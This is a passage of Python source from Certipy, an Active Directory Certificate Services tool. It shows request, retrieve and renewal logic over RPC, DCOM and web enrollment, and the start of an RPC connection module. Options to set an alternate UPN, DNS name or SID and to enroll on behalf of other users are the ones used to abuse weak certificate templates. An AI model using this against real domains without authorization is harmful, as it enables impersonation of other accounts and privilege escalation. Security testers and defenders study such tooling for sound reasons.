"""
Custom exception for handling certificate request errors.
Enhances error messages by translating error codes to human-readable messages.
"""
def __init__(
self, error_string: Any = None, error_code: Any = None, packet: Any = None
):
"""
Initialize the DCERPCSessionError.
Args:
error_string: Error description
error_code: Numeric error code
packet: The RPC packet that caused the error
"""
rpcrt.DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self) -> str:
"""
Format the error message with translated error code.
Returns:
Human-readable error message
"""
self.error_code &= 0xFFFFFFFF # type: ignore
error_msg = translate_error_code(self.error_code)
return f"RequestSessionError: {error_msg}"
# =========================================================================
# Request Interface Protocol
# =========================================================================
class RequestInterface(Protocol):
"""
Protocol defining the interface for certificate request operations.
This is the base class for different request methods (RPC, DCOM, Web).
"""
parent: "Request"
def __init__(self, parent: "Request"):
"""
Initialize the request interface.
Args:
parent: The parent Request object
"""
self.parent = parent
def retrieve(self, request_id: int) -> Union[x509.Certificate, None]:
"""
Retrieve a certificate by request ID.
Args:
request_id: The request ID to retrieve
Returns:
Certificate object if successful, None on failure
"""
...
def request(
self, csr: bytes, attributes_list: List[str]
) -> Union[x509.Certificate, None]:
"""
Submit a certificate request.
Args:
csr: Certificate signing request data
attributes_list: List of certificate attributes
Returns:
Certificate object if successful, None on failure
"""
...
# =========================================================================
# Response Handlers
# =========================================================================
def handle_rpc_retrieve_response(
response: Dict[str, Any],
) -> Optional[x509.Certificate]:
"""
Process the RPC certificate retrieval response.
Args:
response: The RPC response dictionary
Returns:
Certificate object if successful, None otherwise
"""
error_code = response["pdwDisposition"]
if error_code == DISPOSITION_SUCCESS:
logging.info("Successfully retrieved certificate")
cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"]))
return cert
# Handle non-success cases
if error_code == DISPOSITION_PENDING:
logging.warning("Certificate request is still pending approval")
else:
error_msg = translate_error_code(error_code)
disposition_message = b"".join(response["pctbDispositionMessage"]["pb"]).decode(
"utf-16le"
)
if "unknown error code" in error_msg:
logging.error(
f"Got unknown error while retrieving certificate: ({error_msg}): {disposition_message}"
)
else:
logging.error(f"Got error while retrieving certificate: {error_msg}")
return None
def handle_rpc_request_response(
response: Dict[str, Any],
) -> Union[x509.Certificate, int]:
"""
Process the RPC certificate request response.
Args:
response: The RPC response dictionary
Returns:
Certificate object if immediately successful, or request ID if pending/failed
"""
error_code = response["pdwDisposition"]
request_id = response["pdwRequestId"]
# Always log the request ID
logging.info(f"Request ID is {request_id}")
# Handle success case
if error_code == DISPOSITION_SUCCESS:
logging.info("Successfully requested certificate")
cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"]))
return cert
# Handle non-success cases
if error_code == DISPOSITION_PENDING:
logging.warning("Certificate request is pending approval")
else:
error_msg = translate_error_code(error_code)
disposition_message = b"".join(response["pctbDispositionMessage"]["pb"]).decode(
"utf-16le"
)
if "unknown error code" in error_msg:
logging.error(
f"Got unknown error while requesting certificate: ({error_msg}): {disposition_message}"
)
else:
logging.error(f"Got error while requesting certificate: {error_msg}")
return request_id
# ============== Certificate Processing Functions ==============
def handle_request_response(
cert: x509.Certificate,
key: PrivateKeyTypes,
username: str,
subject: Optional[str] = None,
alt_sid: Optional[str] = None,
out: Optional[str] = None,
pfx_password: Optional[str] = None,
) -> Tuple[bytes, str]:
"""
Process a successful certificate request by saving the certificate and private key.
Args:
cert: The issued certificate
key: The private key
username: The username associated with the certificate
subject: Optional subject name
alt_sid: Optional alternate SID
out: Optional output filename
pfx_password: Optional PFX password
Returns:
Tuple of (pfx_data, output_filename)
"""
# Log subject info if available
if subject:
subject_str = ",".join(map(lambda x: x.rfc4514_string(), cert.subject.rdns))
logging.info(f"Got certificate with subject: {subject_str}")
# Extract and display certificate information
identities = get_identities_from_certificate(cert)
print_certificate_identities(identities)
# Check and log object SID information
object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
logging.info(f"Certificate object SID is {object_sid!r}")
else:
logging.info("Certificate has no object SID")
if not alt_sid:
logging.info(
"Try using -sid to set the object SID or see the wiki for more details"
)
# Determine output filename
out_filename = _determine_output_filename(out, identities, username)
# Create PFX and save to file
pfx = create_pfx(key, cert, pfx_password)
outfile = f"{out_filename}.pfx"
logging.info(f"Saving certificate and private key to {outfile!r}")
saved_path = try_to_save_file(pfx, outfile)
logging.info(f"Wrote certificate and private key to {saved_path!r}")
return pfx, saved_path
def handle_retrieve(
cert: x509.Certificate,
request_id: int,
username: str,
out: Optional[str] = None,
pfx_password: Optional[str] = None,
) -> bool:
"""
Process a retrieved certificate by saving it with the private key if available.
Args:
cert: The retrieved certificate
request_id: The certificate request ID
username: The username associated with the certificate
out: Optional output filename
pfx_password: Optional PFX password
Returns:
True if successful
"""
# Extract and display certificate information
identities = get_identities_from_certificate(cert)
print_certificate_identities(identities)
# Check and log object SID information
object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
logging.info(f"Certificate object SID is {object_sid!r}")
else:
logging.info("Certificate has no object SID")
# Determine output filename
out_filename = _determine_output_filename(out, identities, username)
# Try to find matching private key and save as PFX if found
try:
key_path = f"{request_id}.key"
with open(key_path, "rb") as f:
key = pem_to_key(f.read())
logging.info(f"Loaded private key from {key_path!r}")
pfx = create_pfx(key, cert, pfx_password)
output_path = f"{out_filename}.pfx"
logging.info(f"Saving certificate and private key to {output_path!r}")
saved_path = try_to_save_file(pfx, output_path)
logging.info(f"Wrote certificate and private key to {saved_path!r}")
except Exception:
# If no key found, save just the certificate as PEM
logging.warning(
"Could not find matching private key. Saving certificate as PEM"
)
handle_error(True)
output_path = f"{out_filename}.crt"
logging.info(f"Saving certificate to {output_path!r}")
saved_path = try_to_save_file(cert_to_pem(cert), output_path)
logging.info(f"Wrote certificate to {saved_path!r}")
return True
def handle_pending_key_save(
request_id: int, key: PrivateKeyTypes, out: Optional[str] = None
) -> None:
"""
Offer to save the private key for pending certificate requests.
Args:
request_id: The certificate request ID
key: The private key to save
out: Optional output filename for the private key
"""
should_save = input("Would you like to save the private key? (y/N): ")
if should_save.strip().lower() == "y":
output_path = f"{out if out is not None else str(request_id)}.key"
try:
logging.info(f"Saving private key to {output_path!r}")
saved_path = try_to_save_file(key_to_pem(key), output_path)
logging.info(f"Wrote private key to {saved_path!r}")
except Exception as e:
logging.error(f"Failed to save private key: {e}")
handle_error()
# =========================================================================
# Web Request Handlers
# =========================================================================
def web_request(
session: httpx.Client,
username: str,
csr: Union[str, bytes, x509.CertificateSigningRequest],
attributes_list: List[str],
template: str,
key: PrivateKeyTypes,
out: Optional[str] = None,
) -> Optional[x509.Certificate]:
"""
Request a certificate via the web enrollment interface.
Args:
session: HTTP session client
username: Username for the certificate
csr: Certificate signing request (bytes or object)
attributes_list: List of certificate attributes
template: Certificate template name
key: Private key for the certificate
out: Optional output filename
Returns:
Certificate if immediately issued, None otherwise
"""
# Convert CSR to PEM format if needed
if isinstance(csr, x509.CertificateSigningRequest):
csr_pem = csr_to_pem(csr).decode()
elif isinstance(csr, bytes):
csr_pem = der_to_pem(csr, "CERTIFICATE REQUEST")
else:
# Already in PEM format
csr_pem = csr
attributes = "\n".join(attributes_list)
# Build request parameters
params = {
"Mode": "newreq",
"CertAttrib": attributes,
"CertRequest": csr_pem,
"TargetStoreFlags": "0",
"SaveCert": "yes",
"ThumbPrint": "",
}
logging.info(
f"Requesting certificate for {username!r} based on the template {template!r}"
)
# Send certificate request
try:
res = session.post("/certsrv/certfnsh.asp", data=params)
content = res.text
# Handle HTTP errors
if res.status_code != 200:
logging.error(f"Failed to request certificate (HTTP {res.status_code})")
_log_response_if_verbose(content)
return None
# Check for successful issuance (certificate ready for download)
request_id_matches = re.findall(r"certnew.cer\?ReqID=([0-9]+)&", content)
if request_id_matches:
request_id = int(request_id_matches[0])
logging.info(f"Certificate issued with request ID {request_id}")
return web_retrieve(session, request_id)
# Handle various error conditions
if "template that is not supported" in content:
logging.error(f"Template {template!r} is not supported by AD CS")
else:
# Try to find request ID in other format
request_id_matches = re.findall(r"Your Request Id is ([0-9]+)", content)
if request_id_matches:
request_id = int(request_id_matches[0])
logging.info(f"Request ID is {request_id}")
if "Certificate Pending" in content:
logging.warning("Certificate request is pending approval")
elif '"Denied by Policy Module"' in content:
_handle_policy_denial(session, request_id)
else:
_handle_other_errors(content)
else:
_handle_other_errors(content)
# For pending requests, save the private key if requested
request_id_matches = re.findall(r"Your Request Id is ([0-9]+)", content)
if request_id_matches:
request_id = int(request_id_matches[0])
handle_pending_key_save(request_id, key, out)
return None
except Exception as e:
logging.error(f"Error during web certificate request: {e}")
handle_error()
return None
def web_retrieve(
session: httpx.Client,
request_id: int,
) -> Optional[x509.Certificate]:
"""
Retrieve a certificate via the web enrollment interface.
Args:
session: HTTP session client
request_id: The certificate request ID
Returns:
Certificate if successfully retrieved, None otherwise
"""
logging.info(f"Retrieving certificate for request ID: {request_id}")
try:
# Request the certificate
res = session.get("/certsrv/certnew.cer", params={"ReqID": request_id})
if res.status_code != 200:
logging.error(f"Error retrieving certificate (HTTP {res.status_code})")
_log_response_if_verbose(res.text)
return None
# Handle PEM-format certificate
if b"BEGIN CERTIFICATE" in res.content:
return pem_to_cert(res.content)
# Handle DER-format certificate
if res.headers.get("Content-Type") == "application/pkix-cert":
return der_to_cert(res.content)
# Handle error conditions
content = res.text
if "Taken Under Submission" in content:
logging.warning("Certificate request is pending approval")
elif "The requested property value is empty" in content:
logging.warning(f"Unknown request ID {request_id}")
else:
# Try to extract error code
error_codes = re.findall(r" (0x[0-9a-fA-F]+) \(", content)
try:
error_code_int = int(error_codes[0], 16)
msg = translate_error_code(error_code_int)
logging.warning(f"Got error from AD CS: {msg}")
except Exception:
logging.warning("Got unknown error from AD CS")
_log_response_if_verbose(content)
return None
except Exception as e:
logging.error(f"Error during web certificate retrieval: {e}")
handle_error()
return None
# =========================================================================
# Helper Functions
# =========================================================================
def _determine_output_filename(
out: Optional[str], identities: List[Tuple[str, str]], username: str
) -> str:
"""
Determine the output filename to use for saving certificates/keys.
Args:
out: User-specified output name (if any)
identities: List of certificate identities
username: The username associated with the certificate
Returns:
The output filename (without extension)
"""
if out is not None:
return out.removesuffix(".pfx")
# Try to derive filename from certificate identity
cert_username, _ = cert_id_to_parts(identities) # type: ignore
if cert_username is not None:
return cert_username.rstrip("$").lower()
# Fallback to provided username
return username.rstrip("$").lower()
def _handle_policy_denial(session: httpx.Client, request_id: int) -> None:
"""
Handle certificate request denied by policy.
Args:
session: HTTP session client
request_id: The certificate request ID
"""
try:
res = session.get("/certsrv/certnew.cer", params={"ReqID": request_id})
error_codes = re.findall(
r"(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ", res.text, flags=re.MULTILINE
)
if error_codes:
error_msg = translate_error_code(int(error_codes[0], 16))
logging.error(f"Certificate request denied: {error_msg}")
else:
logging.error(
"Certificate request denied by policy module (no error code available)"
)
_log_response_if_verbose(res.text)
except Exception as e:
logging.error(f"Error retrieving denial details: {e}")
handle_error(True)
def _handle_other_errors(content: str) -> None:
"""
Handle other certificate request errors.
Args:
content: Response content
"""
error_code_matches = re.findall(
r"Denied by Policy Module (0x[0-9a-fA-F]+),", content
)
try:
if error_code_matches:
error_code = int(error_code_matches[0], 16)
msg = translate_error_code(error_code)
logging.error(f"Got error from AD CS: {msg}")
else:
# Try other error code formats
error_codes = re.findall(r"Error Number: (0x[0-9a-fA-F]+)", content)
if error_codes:
error_code = int(error_codes[0], 16)
msg = translate_error_code(error_code)
logging.error(f"Got error from AD CS: {msg}")
else:
logging.error("Unknown error from AD CS")
_log_response_if_verbose(content)
except Exception:
logging.error("Failed to parse error message from AD CS")
_log_response_if_verbose(content)
def _log_response_if_verbose(content: str) -> None:
"""
Log response content if verbose logging is enabled.
Args:
content: Response content to log
"""
if is_verbose():
print(content)
else:
logging.warning("Use -debug to print the response")
# =========================================================================
# Request Interface Implementations
# =========================================================================
class DCOMRequestInterface:
"""
Request interface for DCOM communication with Certificate Services.
"""
def __init__(self, parent: "Request"):
"""
Initialize the DCOM request interface.
Args:
parent: The parent Request object
"""
self.parent = parent
self._dcom: Optional[DCOMConnection] = None
@property
def dcom(self) -> DCOMConnection:
"""
Get or establish a DCOM connection to the certificate authority.
Returns:
Active DCOM connection
Raises:
Exception: If target is not set or connection fails
"""
if self._dcom is not None:
return self._dcom
self._dcom = get_dcom_connection(self.parent.target)
return self._dcom
def retrieve(self, request_id: int) -> Optional[x509.Certificate]:
"""
Retrieve a certificate by request ID via DCOM.
Args:
request_id: The request ID to retrieve
Returns:
Certificate object if successful, None on failure
"""
# Prepare empty blob for request
empty = CERTTRANSBLOB()
empty["cb"] = 0
empty["pb"] = NULL
# Build the request structure
request = CertServerRequestD()
request["dwFlags"] = 0
request["pwszAuthority"] = checkNullString(self.parent.ca)
request["pdwRequestId"] = request_id
request["pwszAttributes"] = empty
request["pctbRequest"] = empty
logging.info(f"Retrieving certificate with ID {request_id}")
# Create and configure the DCOM interface
i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD)
i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore
# Submit the request
cert_req_d = ICertRequestD(i_cert_req)
response = cert_req_d.request(request)
result = handle_rpc_request_response(response)
if isinstance(result, int):
return None
return result
def request(
self, csr: bytes, attributes_list: List[str]
) -> Optional[x509.Certificate]:
"""
Submit a certificate request via DCOM.
Args:
csr: Certificate signing request data
attributes_list: List of certificate attributes
Returns:
Certificate object if successful, None on failure
"""
# Check if the private key is available
if self.parent.key is None:
raise Exception("No private key found")
# Format attributes
attributes = checkNullString("\n".join(attributes_list))
# Prepare the certificate request data
pctb_request = CERTTRANSBLOB()
pctb_request["cb"] = len(csr)
pctb_request["pb"] = csr
# Build the request structure
request = CertServerRequestD()
request["dwFlags"] = 0
request["pwszAuthority"] = checkNullString(self.parent.ca)
request["pdwRequestId"] = self.parent.request_id or 0
request["pwszAttributes"] = attributes
request["pctbRequest"] = pctb_request
logging.info("Requesting certificate via DCOM")
# Create and configure the DCOM interface
i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD)
i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore
# Submit the request
cert_req_d = ICertRequestD(i_cert_req)
response = cert_req_d.request(request)
result = handle_rpc_request_response(response)
if isinstance(result, x509.Certificate):
return result
# Ask if the user wants to save the private key for pending requests
handle_pending_key_save(result, self.parent.key, self.parent.out)
return None
class RPCRequestInterface:
"""
Request interface for RPC communication with Certificate Services.
"""
def __init__(self, parent: "Request"):
"""
Initialize the RPC request interface.
Args:
parent: The parent Request object
"""
self.parent = parent
self._dce = None
@property
def dce(self) -> Optional[rpcrt.DCERPC_v5]:
"""
Get or establish an RPC connection to the certificate authority.
Returns:
Active RPC connection
Raises:
Exception: If target is not set or connection fails
"""
if self._dce is not None:
return self._dce
if not MSRPC_UUID_ICPR:
# Should never happen
raise Exception("Failed to get MSRPC UUID for ICertRequest")
self._dce = get_dce_rpc(
MSRPC_UUID_ICPR,
"\\pipe\\cert",
self.parent.target,
timeout=self.parent.target.timeout,
dynamic=self.parent.dynamic,
)
return self._dce
def dce_request(self, request: NDRCALL) -> Dict[str, Any]:
"""
Send a DCE RPC request and handle the response.
This wrapper method properly handles the DCE RPC request to ensure static
code analysis tools correctly understand the return value. The underlying
impacket.dcerpc.v5.rpcrt.DCERPC_v5.request method has type annotation
issues that cause some analyzers to think it never returns.
Args:
request: The RPC request structure to send
Returns:
Dict containing the parsed response
Raises:
Exception: If the DCE RPC connection isn't established or request fails
"""
if self.dce is None:
raise Exception("Failed to get DCE RPC connection")
# Call the underlying request method with error checking disabled
# We manually handle errors to provide better error messages
return self.dce.request(request, checkError=False)
def retrieve(self, request_id: int) -> Optional[x509.Certificate]:
"""
Retrieve a certificate by request ID via RPC.
Args:
request_id: The request ID to retrieve
Returns:
Certificate object if successful, False on failure
"""
# Prepare empty blob for request
empty = CERTTRANSBLOB()
empty["cb"] = 0
empty["pb"] = NULL
# Build the request structure
request = CertServerRequest()
request["dwFlags"] = 0
request["pwszAuthority"] = checkNullString(self.parent.ca)
request["pdwRequestId"] = request_id
request["pctbAttribs"] = empty
request["pctbRequest"] = empty
logging.info(f"Retrieving certificate with ID {request_id}")
# Submit the request
response = self.dce_request(request)
# Process the response
return handle_rpc_retrieve_response(response)
def request(
self, csr: bytes, attributes_list: List[str]
) -> Optional[x509.Certificate]:
"""
Submit a certificate request via RPC.
Args:
csr: Certificate signing request data
attributes_list: List of certificate attributes
Returns:
Certificate object if successful, False on failure
"""
# Check if the private key is available
if self.parent.key is None:
raise Exception("No private key found")
# Format attributes
attributes = checkNullString("\n".join(attributes_list)).encode("utf-16le")
# Prepare attribute blob
pctb_attribs = CERTTRANSBLOB()
pctb_attribs["cb"] = len(attributes)
pctb_attribs["pb"] = attributes
# Prepare request blob
pctb_request = CERTTRANSBLOB()
pctb_request["cb"] = len(csr)
pctb_request["pb"] = csr
# Build the request structure
request = CertServerRequest()
request["dwFlags"] = 0
request["pwszAuthority"] = checkNullString(self.parent.ca)
request["pdwRequestId"] = self.parent.request_id or 0
request["pctbAttribs"] = pctb_attribs
request["pctbRequest"] = pctb_request
logging.info("Requesting certificate via RPC")
if self.dce is None:
raise Exception("Failed to get DCE RPC connection")
# Submit the request
response = self.dce_request(request)
result = handle_rpc_request_response(response)
if isinstance(result, x509.Certificate):
return result
# Ask if the user wants to save the private key for pending requests
handle_pending_key_save(result, self.parent.key, self.parent.out)
return None
class WebRequestInterface:
"""
Request interface for Web Enrollment communication with Certificate Services.
"""
def __init__(self, parent: "Request"):
"""
Initialize the Web Enrollment request interface.
Args:
parent: The parent Request object
"""
self.parent = parent
self.target = self.parent.target
self._session = None
self.base_url = ""
@property
def session(self) -> Optional[httpx.Client]:
"""
Get or establish an HTTP session to the certificate authority.
Returns:
Active HTTP session, or None if connection failed
Raises:
Exception: If target is not set or connection fails
"""
if self._session is not None:
return self._session
# Try the specified scheme and port first
scheme = self.parent.http_scheme or "https"
port = self.parent.http_port or (443 if scheme == "https" else 80)
base_url = f"{scheme}://{self.target.target_ip}:{port}"
# Create a session with httpx with appropriate authentication
if self.target.do_kerberos:
session = httpx.Client(
base_url=base_url,
auth=HttpxKerberosAuth(
self.target, channel_binding=not self.parent.no_channel_binding
),
timeout=self.target.timeout,
verify=False,
)
else:
session = httpx.Client(
base_url=base_url,
auth=HttpxNtlmAuth(
self.target, channel_binding=not self.parent.no_channel_binding
),
timeout=self.target.timeout,
verify=False,
)
logging.info(f"Checking for Web Enrollment on {base_url!r}")
success = self._try_connection(session)
# If the first attempt fails, try the alternative scheme
if not success:
alt_scheme = "http" if scheme == "https" else "https"
alt_port = 80 if alt_scheme == "http" else 443
base_url = f"{alt_scheme}://{self.target.target_ip}:{alt_port}"
logging.info(f"Trying to connect to Web Enrollment interface {base_url!r}")
session.base_url = base_url
success = self._try_connection(session)
if not success:
logging.error("Could not connect to Web Enrollment")
return None
self.base_url = base_url
self._session = session
return self._session
def _try_connection(self, session: httpx.Client) -> bool:
"""
Try to connect to the Web Enrollment interface.
Args:
session: HTTP session to use
base_url: Base URL to connect to
Returns:
True if connection was successful, False otherwise
"""
headers = {
"User-Agent": USER_AGENT,
}
host_value = self.target.remote_name or self.target.target_ip
if host_value:
headers["Host"] = host_value
try:
res = session.get(
"/certsrv/",
headers=headers,
timeout=self.target.timeout,
follow_redirects=False,
)
if res.status_code == 200:
return True
elif res.status_code == 401:
logging.error(
f"Unauthorized for Web Enrollment at {session.base_url!r}"
)
else:
logging.warning(
f"Failed to authenticate to Web Enrollment at {session.base_url!r}"
)
logging.debug(f"Got status code: {res.status_code!r}")
if is_verbose():
print(res.text)
except Exception as e:
logging.warning(f"Failed to connect to Web Enrollment interface: {e}")
handle_error(True)
return False
def retrieve(self, request_id: int) -> Optional[x509.Certificate]:
"""
Retrieve a certificate by request ID via Web Enrollment.
Args:
request_id: The request ID to retrieve
Returns:
Certificate object if successful, None on failure
"""
if self.session is None:
raise Exception("Failed to get HTTP session")
return web_retrieve(
self.session,
request_id,
)
def request(
self, csr: bytes, attributes_list: List[str]
) -> Optional[x509.Certificate]:
"""
Submit a certificate request via Web Enrollment.
Args:
csr_bytes: Certificate signing request data
attributes_list: List of certificate attributes
Returns:
Certificate object if successful, None on failure
"""
# Check if the private key is available
if self.parent.key is None:
raise Exception("No private key found")
if self.session is None:
raise Exception("Failed to get HTTP session")
return web_request(
self.session,
self.target.username,
csr,
attributes_list,
self.parent.template,
self.parent.key,
self.parent.out,
)
# =========================================================================
# Main Request class
# =========================================================================
class Request:
"""
Main class for certificate operations with AD CS.
This class provides functionality for requesting, retrieving, and managing
certificates from Active Directory Certificate Services.
"""
def __init__(
self,
target: Target,
ca: Optional[str] = None,
template: str = "User",
upn: Optional[str] = None,
dns: Optional[str] = None,
sid: Optional[str] = None,
subject: Optional[str] = None,
application_policies: Optional[List[str]] = None,
smime: Optional[str] = None,
retrieve: Optional[int] = None,
on_behalf_of: Optional[str] = None,
pfx: Optional[str] = None,
pfx_password: Optional[str] = None,
key_size: int = 2048,
archive_key: bool = False,
cax_cert: bool = False,
renew: bool = False,
out: Optional[str] = None,
key: Optional[rsa.RSAPrivateKey] = None,
web: bool = False,
dcom: bool = False,
http_scheme: Optional[str] = None,
http_port: Optional[int] = None,
no_channel_binding: bool = False,
dynamic_endpoint: bool = False,
**kwargs, # type: ignore
):
"""
Initialize a certificate request object.
Args:
target: Target information including host and authentication
ca: Certificate Authority name
template: Certificate template name
upn: Alternative UPN (User Principal Name)
dns: Alternative DNS name
sid: Alternative SID (Security Identifier)
subject: Certificate subject name
application_policies: List of application policy OIDs
smime: SMIME capability identifier
retrieve: Request ID to retrieve
on_behalf_of: Username to request on behalf of
pfx: Path to PKCS#12/PFX file
pfx_password: Password for PFX file
key_size: RSA key size in bits
archive_key: Whether to archive the private key
cax_cert: Whether to retrieve the CAX certificate
renew: Whether to renew an existing certificate
out: Output file path
key: Pre-generated RSA key
web: Use Web Enrollment instead of RPC
dcom: Use DCOM instead of RPC
port: Port for Web Enrollment
scheme: Scheme for Web Enrollment (http/https)
dynamic_endpoint: Use dynamic RPC endpoint
"""
# Core parameters
self.target = target
self.ca = ca
self.template = template
self.alt_upn = upn
self.alt_dns = dns
self.alt_sid = sid
self.subject = subject
self.request_id = int(retrieve) if retrieve else None
self.on_behalf_of = on_behalf_of
self.pfx = pfx
self.pfx_password = pfx_password
self.key_size = key_size
self.archive_key = archive_key
self.cax_cert = cax_cert
self.renew = renew
self.out = out
self.key = key
# Convert application policy names to OIDs
self.application_policies = [
OID_TO_STR_NAME_MAP.get(policy.lower(), policy)
for policy in (application_policies or [])
]
self.smime = smime
# Connection parameters
self.web = web
self.dcom = dcom
self.http_port = http_port
self.http_scheme = http_scheme
self.no_channel_binding = no_channel_binding
# Handle default ports based on scheme
if not self.http_port and self.http_scheme:
if self.http_scheme == "http":
self.http_port = 80
elif self.http_scheme == "https":
self.http_port = 443
self.dynamic = dynamic_endpoint
self.kwargs = kwargs
# Interface is initialized on demand
self._interface = None
@property
def interface(self) -> RequestInterface:
"""
Get the appropriate request interface based on configuration.
Returns:
Configured request interface instance
"""
if self._interface is not None:
return self._interface
# Select interface based on configuration
if self.web:
self._interface = WebRequestInterface(self)
elif self.dcom:
self._interface = DCOMRequestInterface(self)
else:
self._interface = RPCRequestInterface(self)
return self._interface
def retrieve(self) -> bool:
"""
Retrieve a certificate by request ID.
Returns:
True if successful, False otherwise
"""
if self.request_id is None:
logging.error("No request ID specified")
return False
request_id = int(self.request_id)
# Retrieve the certificate using the appropriate interface
cert = self.interface.retrieve(request_id)
if cert is False or cert is None:
logging.error("Failed to retrieve certificate")
return False
handle_retrieve(
cert, request_id, self.target.username, self.out, self.pfx_password
)
return True
def request(self) -> Union[bool, Tuple[bytes, str]]:
"""
Request a new certificate from AD CS.
Returns:
PFX data and filename if successful, False otherwise
"""
# Determine username for certificate
username = self.target.username
# Validate request options
if sum(map(bool, [self.archive_key, self.on_behalf_of, self.renew])) > 1:
logging.error(
"Combinations of -renew, -on-behalf-of, and -archive-key are currently not supported"
)
return False
# Handle on-behalf-of requests
if self.on_behalf_of:
username = self.on_behalf_of
if self.on_behalf_of.count("\\") > 0:
parts = username.split("\\")
username = "\\".join(parts[1:])
domain = parts[0]
if "." in domain:
logging.warning(
"Domain part of '-on-behalf-of' should not be a FQDN"
)
# Handle certificate renewal
renewal_cert = None
renewal_key = None
if self.renew:
if self.pfx is None:
logging.error(
"A certificate and private key (-pfx) is required for renewal"
)
return False
with open(self.pfx, "rb") as f:
renewal_key, renewal_cert = load_pfx(f.read())
if not renewal_key or not renewal_cert:
logging.error("Failed to load certificate and private key from PFX")
return False
# Create the CSR
csr, key = create_csr(
username,
alt_dns=self.alt_dns,
alt_upn=self.alt_upn,
alt_sid=self.alt_sid,
subject=self.subject,
key_size=self.key_size,
application_policies=self.application_policies,
smime=self.smime,
key=self.key,
renewal_cert=renewal_cert,
)
self.key = key
# Convert CSR to DER format
csr_der = csr_to_der(csr)
# Handle key archival
if self.archive_key:
ca = CA(self.target, self.ca)
logging.info("Trying to retrieve CAX certificate")
cax_cert = ca.get_exchange_certificate()
logging.info("Retrieved CAX certificate")
csr_der = create_key_archival(der_to_csr(csr_der), self.key, cax_cert)
# Handle certificate renewal
if self.renew:
if not renewal_cert or not renewal_key:
logging.error(
"A certificate and private key (-pfx) is required for renewal"
)
return False
if not isinstance(renewal_key, rsa.RSAPrivateKey):
logging.error("Currently only RSA keys are supported for renewal")
return False
csr_der = create_renewal(csr_der, renewal_cert, renewal_key)
# Handle on-behalf-of requests
if self.on_behalf_of:
if self.pfx is None:
logging.error(
"A certificate and private key (-pfx) is required for on-behalf-of requests"
)
return False
with open(self.pfx, "rb") as f:
agent_key, agent_cert = load_pfx(f.read())
if agent_key is None or agent_cert is None:
logging.error(
f"Failed to load certificate and private key from {self.pfx}"
)
return False
if not isinstance(agent_key, rsa.RSAPrivateKey):
logging.error(
"Currently only RSA keys are supported for on-behalf-of requests"
)
return False
csr_der = create_on_behalf_of(
csr_der, self.on_behalf_of, agent_cert, agent_key
)
# Construct attributes list
attributes = create_csr_attributes(
self.template,
self.alt_dns,
self.alt_upn,
self.alt_sid,
self.application_policies,
)
# Submit the certificate request
cert = self.interface.request(csr_der, attributes)
if cert is False or cert is None:
logging.error("Failed to request certificate")
return False
return handle_request_response(
cert,
key,
username,
subject=self.subject,
alt_sid=self.alt_sid,
out=self.out,
pfx_password=self.pfx_password,
)
def get_cax(self) -> Union[bool, bytes]:
"""
Retrieve the CAX (Exchange) certificate.
Returns:
CAX certificate in DER format if successful, False otherwise
"""
ca = CA(self.target, self.ca)
logging.info("Trying to retrieve CAX certificate")
cax_cert = ca.get_exchange_certificate()
logging.info("Retrieved CAX certificate")
cax_cert_der = cert_to_der(cax_cert)
return cax_cert_der
Certipy-5.1.0/certipy/lib/rpc.py 0000775 0000000 0000000 00000021000 15216574665 0016534 0 ustar 00root root 0000000 0000000 """
RPC (Remote Procedure Call) utilities for Certipy.
This module provides functions for establishing RPC connections to remote services,
including DCOM, named pipes, and dynamic endpoints. It supports various authentication
methods including Kerberos and NTLM.
"""
from typing import Optional
from impacket import uuid
from impacket.dcerpc.v5 import epm, rpcrt, transport
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from certipy.lib.errors import handle_error
from certipy.lib.kerberos import get_tgs
from certipy.lib.logger import is_verbose, logging
from certipy.lib.target import Target
def get_dcom_connection(target: Target) -> DCOMConnection:
"""
Establish a DCOM connection to the target.
Args:
target: Target object containing connection parameters
Returns:
DCOMConnection object for the target
Notes:
Uses Kerberos authentication if target.do_kerberos is True
"""
tgs = None
username = target.username
domain = target.domain
logging.debug(f"Trying to get DCOM connection for: {target.target_ip!r}")
# Get Kerberos ticket if needed
if target.do_kerberos:
if not target.remote_name:
logging.warning("Target remote name is not set.")
kdc_rep, cipher, session_key, username, domain = get_tgs(
target,
target_name=target.remote_name,
)
tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key}
# Create DCOM connection
dcom = DCOMConnection(
target.target_ip,
username=username,
password=target.password or "",
domain=domain,
lmhash=target.lmhash,
nthash=target.nthash,
TGS=tgs,
doKerberos=target.do_kerberos,
kdcHost=target.dc_ip,
)
return dcom
def get_dce_rpc_from_string_binding(
string_binding: str,
target: Target,
timeout: int = 5,
target_ip: Optional[str] = None,
remote_name: Optional[str] = None,
auth_level: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
) -> rpcrt.DCERPC_v5:
"""
Create a DCE RPC connection from a string binding.
Args:
string_binding: The RPC string binding (e.g., "ncacn_np:server[pipe]")
target: Target object containing authentication parameters
timeout: Connection timeout in seconds
target_ip: Override target IP address (uses target.target_ip if None)
remote_name: Override remote name (uses target.remote_name if None)
auth_level: Authentication level for the connection
Returns:
Configured DCERPC_v5 object (not connected)
Notes:
The returned object needs to be connected with dce.connect()
"""
if target_ip is None:
target_ip = target.target_ip or ""
if remote_name is None:
remote_name = target.remote_name
# Create RPC transport
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target_ip)
rpctransport.setRemoteName(remote_name)
rpctransport.set_connect_timeout(timeout)
rpctransport.set_kerberos(target.do_kerberos, kdcHost=target.dc_ip)
username = target.username
domain = target.domain
tgs = None
# Get Kerberos ticket if needed
if target.do_kerberos:
if not remote_name:
logging.warning("Target remote name is not set.")
kdc_rep, cipher, session_key, username, domain = get_tgs(
target,
target_name=remote_name,
)
tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key}
# Set credentials on the transport
rpctransport.set_credentials(
username,
